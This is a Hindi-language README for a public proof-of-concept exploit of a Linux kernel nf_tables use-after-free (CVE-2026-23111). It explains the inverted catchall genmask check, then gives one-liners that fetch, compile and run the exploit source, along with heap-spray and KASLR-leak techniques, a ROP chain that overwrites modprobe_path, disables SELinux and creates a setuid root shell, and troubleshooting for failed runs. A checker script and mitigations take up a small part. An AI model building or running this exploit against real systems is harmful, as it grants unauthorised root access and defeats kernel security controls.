
लिनक्स कर्नेल nf_tables Use-After-Free (CVE-2026-23111) — LPE PoC
Linux Kernel nf_tables Use-After-Free (Local Privilege Escalation) poc by baba01hacker
net/netfilter/nf_tables_api.c — nft_map_catchall_activate()| संस्करण श्रेणी | निश्चित में |
|---|---|
| 6.19-rc1 से 6.19-rc8 | 6.19-rc9+ |
| 6.13 से 6.18.9 | 6.18.10 |
| 6.7 से 6.12.69 | 6.12.70 |
| 6.4.1 से 6.5.x | EOL (कोई स्थिर समाधान नहीं) |
| 6.3.10 से 6.3.x | EOL |
| 6.0.x, 6.2.x | EOL |
| 6.1.36 से 6.1.162 | 6.1.163 |
| 5.15.121 से 5.15.199 | 5.15.200 |
| 5.10.188+, 5.4.262+, 4.19.316+ | विविध LTS |
CVE-2026-23111 एक nf_tables use-after-free है जो nft_map_catchall_activate() में उल्टी पीढ़ी-मास्क जाँच के कारण होता है। विफल लेन-देन के रोलबैक के दौरान, कैचऑल वर्डिक्ट-मैप तत्व जो NFT_MSG_DELSET द्वारा निष्क्रिय किए गए थे, उन्हें पुनः सक्रिय किया जाना चाहिए ताकि NFT_GOTO श्रृंखला संदर्भ जैसे संदर्भ बहाल हो सकें। कैचऑल सक्रियण पथ ने इसके बजाय सक्रिय तत्वों को छोड़ दिया और निष्क्रिय तत्वों को संसाधित किया, जिससे निष्क्रिय कैचऑल तत्व बहाल नहीं हुए।
सही गैर-कैचऑल सक्रियण तर्क है:
if (nft_set_elem_active(ext, iter->genmask))
return 0; /* सक्रिय को छोड़ें, निष्क्रिय प्रक्रिया */
असुरक्षित कैचऑल पथ ने विपरीत स्थिति का उपयोग किया:
if (!nft_set_elem_active(ext, genmask))
continue; /* निष्क्रिय को छोड़ें, सक्रिय प्रक्रिया */
जब एक हटाए गए pipapo वर्डिक्ट मैप को वापस रोल किया जाता है, तो यह nft_setelem_data_activate() को निष्क्रिय कैचऑल तत्व के लिए चलने से रोकता है। NFT_JUMP/NFT_GOTO वर्डिक्ट डेटा के लिए, nft_data_hold() द्वारा ली गई श्रृंखला संदर्भ इसलिए बहाल नहीं होती है। निरस्त/टॉगल/हटाने के अनुक्रम को दोहराने से chain->use शून्य हो सकता है जबकि किसी अन्य नियम में अभी भी श्रृंखला का एक वैध वर्डिक्ट संदर्भ मौजूद है। बाद में DELCHAIN श्रृंखला को मुक्त कर सकता है जबकि यह अभी भी पहुँच योग्य है, UAF बनाता है।
टेबल, बेस चेन, पीड़ित श्रृंखला, और कैचऑल NFT_GOTO के साथ pipapo वर्डिक्ट मैप बनाएं -> पीड़ित
|
बैच 1: pipapo सेट हटाएं, फिर एक लेन-देन त्रुटि को बाध्य करें
|
निरस्त पथ nft_map_catchall_activate() को कॉल करता है, लेकिन उल्टी जाँच निष्क्रिय कैचऑल को छोड़ देती है
|
कैचऑल निष्क्रिय रहता है और पीड़ित श्रृंखला संदर्भ गणना बहाल नहीं होती है
|
बैच 2: पीढ़ी कर्सर को टॉगल करने के लिए एक सौम्य लेन-देन करें
|
बैच 3: pipapo सेट को सफलतापूर्वक हटाएं, पीड़ित श्रृंखला संदर्भ को फिर से कम करें
|
बैच 4: पीड़ित श्रृंखला को हटाएं जबकि बेस-चेन वर्डिक्ट अभी भी इसका संदर्भ देता है
|
Use-after-free जब पैकेट मूल्यांकन या नियम डंप लटकते वर्डिक्ट संदर्भ का अनुसरण करता है
अपस्ट्रीम फिक्स नकारात्मकता को हटाना है ताकि nft_map_catchall_activate() nft_mapelem_activate() से मेल खाए: सक्रिय तत्वों को छोड़ दिया जाता है, निष्क्रिय तत्वों को फिर से सक्रिय किया जाता है, और रद्द हैंडलिंग के दौरान वर्डिक्ट/ऑब्जेक्ट संदर्भ बहाल किए जाते हैं।
python3 CVE-2026-23111-checker.py --detailed
python3 CVE-2026-23111-checker.py --json
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_full.c && gcc -Wall -O2 -o exploit_full exploit_full.c -lnftnl -lmnl && ./exploit_full -d
यदि पूर्ण/v1 PoC लक्ष्य कर्नेल पर विफल होता है तो इसका उपयोग करें।
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_v2.c && gcc -Wall -O2 -o exploit_v2 exploit_v2.c -lnftnl -lmnl && ./exploit_v2 -d
यदि कंपाइलर libmnl/libmnl.h या libnftnl हेडर नहीं ढूँढ पाता है तो पहले निर्माण निर्भरताएँ स्थापित करें:
scripts/install-build-deps.sh
# or
make deps
make # शोषण का निर्माण करें (केवल PoC)
make v2 # v2 शोषण का निर्माण करें (FuzzingLabs दृष्टिकोण — v1 विफल होने पर प्रयास करें)
make full # पूर्ण LPE शोषण का निर्माण करें
make v3 # v3 कैलिब्रेटेड eval-path संस्करण का निर्माण करें
make run-d # डीबग आउटपुट के साथ PoC चलाएँ
make run-v2-d # डीबग आउटपुट के साथ v2 चलाएँ
make run-v3 # v3 उपयोग/सहायता दिखाएँ
make run-full # पूर्ण LPE चलाएँ
एक कैचऑल तत्व (गोटो पीड़ित श्रृंखला) के साथ एक pipapo मैप सेट बनाता है, फिर DELSET निरस्त के दौरान उल्टी genmask बग का उपयोग करके chain->use को दूषित करता है। पीढ़ी काउंटर को आगे बढ़ाने के बाद, DELCHAIN लटकते संदर्भों के बावजूद सफल होता है, श्रृंखला को मुक्त करता है।
UAF के बाद, chain->name मेमोरी मुक्त हो जाती है। हम /proc/self/stat खोलकर मुक्त स्लैब कैश स्लॉट को पुनः प्राप्त करने के लिए seq_operations संरचनाएँ (32 बाइट) स्प्रे करते हैं। NFT_MSG_GETRULE के माध्यम से बेस चेन के तत्काल वर्डिक्ट नियम को वापस पढ़ने से पुनः प्राप्त श्रृंखला नाम डंप होता है, जिससे कर्नेल फंक्शन पॉइंटर्स लीक हो जाते हैं। पॉइंटर सत्यापन सुनिश्चित करता है कि केवल विहित कर्नेल टेक्स्ट पते स्वीकार किए जाते हैं।
लंबे श्रृंखला नाम (140 बाइट → kmalloc-cg-192) के साथ UAF को फिर से ट्रिगर करता है, फिर मेमोरी को पुनः प्राप्त करने के लिए nft_rule ऑब्जेक्ट स्प्रे करता है। लीक हुए list_head पॉइंटर प्रत्यक्ष मानचित्र क्षेत्र में हीप पतों को प्रकट करते हैं।
nft_expr_ops और nft_rule_blob के लिए नियंत्रित डेटा के साथ स्प्रे किए गएblob_gen_0 को ओवरराइट करने के लिए 128-बाइट तालिका उपयोगकर्ता डेटा स्प्रेcommit_creds(&init_cred) → switch_task_namespaces → swapgs; iretq/proc/kcore से स्वचालित रूप से स्कैन किए गएexpr->ops->eval को लागू करने के लिए बेस चेन के माध्यम से ट्रिगर पैकेट भेजा गयाv2 शोषण (exploit_v2.c) FuzzingLabs लेख में वर्णित तकनीकों का उपयोग करता है और इसका उपयोग तब किया जा सकता है जब v1 PoC विफल हो। मुख्य अंतर:
init_ipc_ns + 0x118 → msg_ids.xa_head → msg_queue (टैग किया गया पॉइंटर)
msg_queue + 0xc0 → q_messages.next → msg_msg हीप पता
प्रत्येक चरण मुक्त श्रृंखला संरचना का उपयोग मनमाना-पढ़ने के आदिम के रूप में करता है:
तालिका उपयोगकर्ता डेटा (128 बाइट) kmalloc-cg-128 में मुक्त nft_chain को पुनः प्राप्त करता है,
और ऑफसेट 0x40 (जहाँ chain->name रहता है) पर रखा गया एक कर्नेल पता
SET_B तत्व डंप के दौरान कर्नेल द्वारा डीरेफरेंस किया जाता है।
v3 हीप चरण ऑफसेट-पूर्वानुमानित है न कि सच्चा बाइनरी-सुरक्षित मनमाना-पढ़ने-वाया-eval आदिम। अंतिम स्प्रे चलाने से पहले लक्ष्य को कैलिब्रेट करें:
grep msg_msg /proc/slabinfo
# kmalloc-cg-2048 ऑब्जेक्ट घनत्व के साथ क्रॉस-रेफरेंस करें, फिर इसके साथ चलाएँ:
./exploit_v3 --msg-msg-addr 0xffff...
# या, जब मान लीक कर्नेल बेस के सापेक्ष ज्ञात हो:
./exploit_v3 --msg-msg-delta 0x...
सटीक कर्नेल बिल्ड के विरुद्ध nftables संरचना ऑफसेट सत्यापित करें:
pahole -E -C nft_chain /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_blob /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_dp /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_expr_ops /usr/lib/debug/boot/vmlinux-$(uname -r)
गैजेट स्कैनिंग /proc/kcore का उपयोग करती है; यदि यह प्रतिबंधित है, तो गैजेट को ऑफलाइन vmlinux से निकालें और लीक कर्नेल बेस के सापेक्ष पतों को हार्डकोड करें। v3 पैकेट eval पथ push rdi; pop rsp का उपयोग करता है क्योंकि rdi = expr; यह v2 सत्यापन पथ से भिन्न है, जहाँ rsi = expr।
push rdi; pop rsp; pop rbp; ret ← स्टैक पिवट (rdi = expr)
pop rdi; ret → &modprobe_path \
pop rax; ret → "/tmp/pe\0" │ write modprobe_path
mov [rdi], rax; ret /
pop rdi; ret → &selinux_state \
xor eax, eax; ret │ SELinux अक्षम करें
mov [rdi], eax; ret /
pop rdi; ret → 10000 \
msleep │ कर्नेल को जीवित रखें
/tmp/pe स्क्रिप्ट रूट के रूप में चलती है जब कर्नेल अज्ञात बाइनरी प्रारूप का सामना करने के बाद modprobe_path को लागू करता है। यह /tmp/rootbash पर एक setuid रूट शेल बनाता है।
NFT_MSG_GETELEM (भिन्न कर्नेल कोड पथ) का उपयोग करता है NFT_MSG_GETRULE के बजायnft_rule ऑब्जेक्ट स्प्रे करने के बजाय कर्नेल डेटा संरचनाओं को चलने के लिए init_ipc_ns वैश्विक चर का उपयोग करता हैnft_rules + तालिका उपयोगकर्ता डेटा के बजाय msg_msg-2k (बड़ा, स्थिर बफर) का उपयोग करता हैcommit_creds + नेमस्पेस स्विच के बजाय modprobe_path (बिना swapgs/iretq के काम करता है) का उपयोग करता हैSLAB_RANDOM/सख्तीकरण है: v2 की init_ipc_ns श्रृंखला एक स्थिर वैश्विक को लक्षित करती है, जिससे हीप लेआउट कम महत्वपूर्ण हो जाता हैnft_map_catchall_activate() (net/netfilter/nf_tables_api.c) में:
list_for_each_entry(catchall, &set->catchall_list, list) {
ext = nft_set_elem_ext(set, catchall->elem);
if (!nft_set_elem_active(ext, genmask)) // BUG: बिना '!' के होना चाहिए
continue;
nft_clear(ctx->net, ext);
nft_setelem_data_activate(ctx->net, set, catchall->elem);
break;
}
! के कारण फ़ंक्शन उन्हें संसाधित करने के बजाय निष्क्रिय तत्वों को छोड़ देता है। लेन-देन रद्द करने के दौरान, कैचऑल तत्व (जिसे अभी-अभी DELSET द्वारा निष्क्रिय किया गया था) को छोड़ दिया जाता है, इसलिए श्रृंखला संदर्भ काउंटर को बहाल करने के लिए nft_data_hold() कभी नहीं बुलाया जाता है।
├── CVE-2026-23111-checker.py भेद्यता पहचान स्क्रिप्ट (--detailed, --json)
├── exploit.c PoC शोषण (UAF + KASLR लीक + हीप लीक)
├── exploit_v2.c v2 शोषण (FuzzingLabs दृष्टिकोण — v1 विफल होने पर प्रयास करें)
├── exploit_full.c पूर्ण LPE शोषण (UAF + लीक + ROP श्रृंखला)
├── exploit_full_aarch64 पूर्व-निर्मित aarch64 बाइनरी (स्थिर)
├── exploit_full.b64 बेस64-एनकोडेड पूर्ण शोषण बाइनरी
├── Makefile निर्माण कॉन्फ़िगरेशन
└── README.md यह फ़ाइल
apt-get install -y libmnl-dev libnftnl-dev gcc make python3
apt-get install -y gcc-aarch64-linux-gnu
make aarch64
make debug # ASan के साथ PoC
make debug-full # ASan के साथ पूर्ण शोषण
चेकर कई पहचान विधियाँ करता है:
nf_tables कर्नेल मॉड्यूल लोड है या नहीं/proc/config.gz या /boot/config-* से CONFIG_NF_TABLES पढ़ता है/proc/kallsyms में nft_map_catchall_activate खोजता हैkernel.unprivileged_userns_clone sysctl की जाँच करता हैpython3 CVE-2026-23111-checker.py --detailed # मानव-पठनीय शमन के साथ
python3 CVE-2026-23111-checker.py --json # मशीन-पठनीय JSON
sysctl kernel.unprivileged_userns_clone=0nf_tables मॉड्यूल को ब्लैकलिस्ट करें:
echo 'install nf_tables /bin/true' >> /etc/modprobe.d/nf_tables.conf
| घटक | v1 (exploit.c) | v2 (exploit_v2.c) |
|---|
| UAF ट्रिगर | एकल सेट + तत्काल गोटो नियम | दो सेट (FuzzingLabs शैली) + लुकअप नियम |
| KASLR रीडबैक | NFT_MSG_GETRULE (नियम डंप) | NFT_MSG_GETELEM (तत्व डंप) + GETRULE फ़ॉलबैक |
| हीप लीक | nft_rule स्प्रे + list_head लीक | init_ipc_ns मनमाना-पढ़ने की श्रृंखला |
| ROP होस्ट | nft_rules + तालिका उपयोगकर्ता डेटा | msg_msg-2k (2048-बाइट संदेश) |
| अपहरण ट्रिगर | तत्काल गोटो पर पैकेट eval | जीवित सेट कैचऑल पर पैकेट eval |
| विशेषाधिकार वृद्धि | commit_creds + switch_task_namespaces | modprobe_path ओवरराइट + SELinux अक्षम |
| वापसी पथ | swapgs; iretq | msleep() (कर्नेल में रहता है) |
| समस्या | समाधान |
|---|
mnl_socket_open: No such file or directory | सुनिश्चित करें कि nf_tables मॉड्यूल लोड है: modprobe nf_tables |
unshare: Operation not permitted | अनप्रिविलेज्ड उपयोगकर्ता नामस्थानों की आवश्यकता है। kernel.unprivileged_userns_clone=1 जाँचें |
Batch A did NOT abort | कर्नेल पैच किया जा सकता है या genmask व्यवहार भिन्न है |
No kernel pointer leaked | KASLR सख्तीकरण या SLAB_RANDOM प्रभावी हो सकता है; अनेक रन आज़माएँ |
No heap pointer found | हीप स्प्रे टक्कर दर संभाव्य है; पुनः प्रयास करें या स्प्रे गणना बढ़ाएँ |
संकलन: nf_tables.h: No such file | कर्नेल हेडर स्थापित करें: apt install linux-headers-$(uname -r) |
लिंक त्रुटि: mnl_* का अपरिभाषित संदर्भ | लिंक ऑर्डर महत्वपूर्ण है: -lnftnl -lmnl (mnl से पहले nftnl) |